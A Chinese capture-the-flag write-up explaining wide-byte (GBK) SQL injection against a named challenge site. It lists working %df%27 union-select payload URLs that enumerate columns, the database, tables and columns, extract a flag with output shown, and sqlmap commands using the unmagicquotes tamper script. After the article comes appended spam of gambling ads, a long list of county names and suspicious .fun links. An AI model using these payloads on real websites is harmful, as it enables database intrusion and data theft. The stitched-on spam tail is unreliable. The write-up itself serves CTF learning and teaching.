(宽字节注入) 手注+sqlmap

          进入题目后先简单尝试一下。

          分享图片

           

          很明显的宽字节注入。

          宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

          手工注入
          1、判断列数:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
          order by 3 时报错,说明只有两列。

          2、各类信息:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
          union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
          [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

          3、库名:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
          sae-chinalover

          4、表名:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
          union select 2,group_concat(table_name)
          from information_schema.tables
          where table_schema=database()%23
          ctf,ctf2,ctf3,ctf4,news

          5、ctf4表的列名:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
          union select 2,group_concat(column_name)
          from information_schema.columns
          where table_name=0x63746634%23
          id,flag

          这里注意:要将表名ctf4转为16进制

          这里提供一个字符串转16进制的网站:

          http://www.5ixuexiwang.com/str/hex.php

          转了16进制之后记得在前面加上0x

          6、flag列的数据:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
          union select 2,(select flag from ctf4)%23
          flag{this_is_sqli_flag}

          sqlmap跑法
          1、查看有哪些库:
          sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
          这个时侯就要用到一个脚本了:

          脚本名:unmagicquotes.py

          作用:宽字符绕过

          分享图片

           

           

          2、表名:

          sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

          分享图片

           

           

          3、列名:

          sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

           分享图片

           

           

          4、flag列的数据:
          sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

          分享图片

          相关文章
          相关标签/搜索
          三十码期期必中√资料今晚六给彩开奖结果,白小姐中特玄机,六开彩开奖现场直播,2017开奖记录开奖结果,开马现场直播,马报免费资料2017大全 乐昌市| 新巴尔虎右旗| 文水县| 津南区| 安仁县| 城口县| 武清区| 四子王旗| 长寿区| 璧山县| 二连浩特市| 兴城市| 华阴市| 林口县| 横山县| 敦化市| 梁河县| 淳化县| 伊宁县| 会东县| 沂源县| 玉环县| 新泰市| 辽阳市| 建昌县| 金阳县| 辽宁省| 上蔡县| 东乌| 潞西市| 全椒县| 罗山县| 边坝县| 五家渠市| 瓮安县| 宁蒗| 商城县| 奉化市| 肇东市| 右玉县| 屯昌县| 松原市| 阿克| 合水县| 阳谷县| 田林县| 永德县| 桑日县| 特克斯县| 柳江县| 柞水县| 石棉县| 鹤壁市| 闵行区| 伊吾县| 昌宁县| 互助| 哈尔滨市| 横峰县| 威远县| 梁河县| 乌兰县| 锡林郭勒盟| 遂溪县| 临邑县| 将乐县| 浑源县| 江华| 浦江县| 沁源县| 册亨县| 平阳县| 荥经县| 平顺县| 全椒县| 花垣县| 喀什市| 苏尼特右旗| 淮滨县| 双辽市| 元氏县| 油尖旺区| 淳化县| 剑阁县| 丹江口市| 房产| 图们市| 眉山市| 迁西县| 郓城县| 庆阳市| 和平区| 苏尼特右旗| 正阳县| 上杭县| 涞源县| 清镇市| 兰考县| 赤城县| 墨竹工卡县| 佛冈县| 高清| 乌拉特中旗| 武山县| 友谊县| 田东县| 修文县| 福贡县| 黄龙县| 东乡族自治县| 河西区| 乌鲁木齐市| 鄯善县| 泾阳县| 无为县| 葵青区| 荔浦县| 怀仁县| 咸丰县| 额尔古纳市| 德钦县| 家居| 那坡县| 游戏| 平凉市| 绿春县| 扶沟县| 句容市| 延川县| 罗田县| 永年县| 峨眉山市| 大名县| 屏南县| 马山县| 陇南市| 时尚| 三穗县| 古浪县| 台北县| 神木县| 平利县| 潮州市| 滨州市| 繁峙县| 天祝| 宁国市| 深水埗区| 兴业县| 辽阳市| 罗田县| 荃湾区| 乌鲁木齐县| 平湖市| 祁东县| 蕲春县| 增城市| 安吉县| 翼城县| 中卫市| 南宁市| 建湖县| 黄陵县| 杭州市| 东乌| 木里| 遵化市| 宜兴市| 武夷山市| 宁阳县| 林芝县| 新民市| 崇义县| 无为县| 新巴尔虎左旗| 海兴县| 阳泉市| 万源市| 望奎县| 崇信县| 西乌珠穆沁旗| 宽城| 阜城县| 遂宁市| 兴海县| 襄汾县| 太仆寺旗| 石柱| 社旗县| 抚远县| 霸州市| 门头沟区| 蓝田县| 尉氏县| 台东县| 炉霍县| 松原市| 济阳县| 岳池县| 曲水县| 巧家县| 巴青县| 个旧市| 水城县| 县级市| 麦盖提县| 宾阳县| 东海县| 景宁| 许昌县| 清水河县| 西畴县| 兰西县| 蓬安县| 尚志市| 辉县市| 娄底市| 乐山市| 建始县| 峡江县| 台安县| 福贡县| 万载县| 舒兰市| 定西市| 巫溪县| 乌兰浩特市| 阿合奇县| 南京市| 徐闻县| 黄大仙区| 长乐市| 临清市| 马关县| 阜康市| 南木林县| 夏河县| 开阳县| 上思县| 永城市| 卢龙县| 左贡县| 勃利县| 广安市| 塘沽区| 福鼎市| 都江堰市| 富蕴县| 龙江县| 当涂县| 浦城县| 敦化市| 游戏| 兖州市| 古田县| 和硕县| 泸定县| 邳州市| 铜川市| 长海县| 宁强县| 兴和县| 樟树市| 普宁市| 红河县| 连山| 甘谷县| 屏东市| 夏河县| 绵竹市| 玉环县| 景泰县| 凤山县| 遂川县| 精河县| 张家界市| 额尔古纳市| 儋州市| 区。| 庄浪县| 凤城市| 伊春市| 上饶市| 涡阳县| 林西县| 朝阳市| 天镇县| 永昌县| 镇雄县| 休宁县| 大英县| 阿城市| 西林县| 宽甸| 仙游县| 阳朔县| 喜德县| 泾川县| 安新县| 阜新市| 奈曼旗| 北川| 全州县| 南京市| 久治县| 泰和县| 达拉特旗| 银川市| 菏泽市| 青龙| 闸北区| 揭东县| 嘉禾县| 忻城县| 利津县| 浙江省| 四子王旗| 偏关县| 曲水县| 会同县| 襄汾县| 鹤庆县| 乌拉特前旗| 延川县| 海盐县| 噶尔县| 晋城| 双城市| http://3g.gz1980hillc.fun http://3g.yqo5j6rl8v.fun http://3g.gz1980skinc.fun http://3g.gz1980hearc.fun http://3g.yqo2j6rl5v.fun http://3g.bo2020drugs.fun http://3g.gz1980colorc.fun http://3g.yqo2j1rl9v.fun http://3g.bo2020claizs.fun http://3g.gz1980guardc.fun http://3g.yqo4j9rl1v.fun http://3g.bo2020happens.fun http://3g.gz1980referencec.fun http://3g.gz1980gardenc.fun http://3g.yqo2j4rl2v.fun http://3g.bo2020classs.fun http://3g.yqo7j4rl6v.fun http://3g.bo2020fights.fun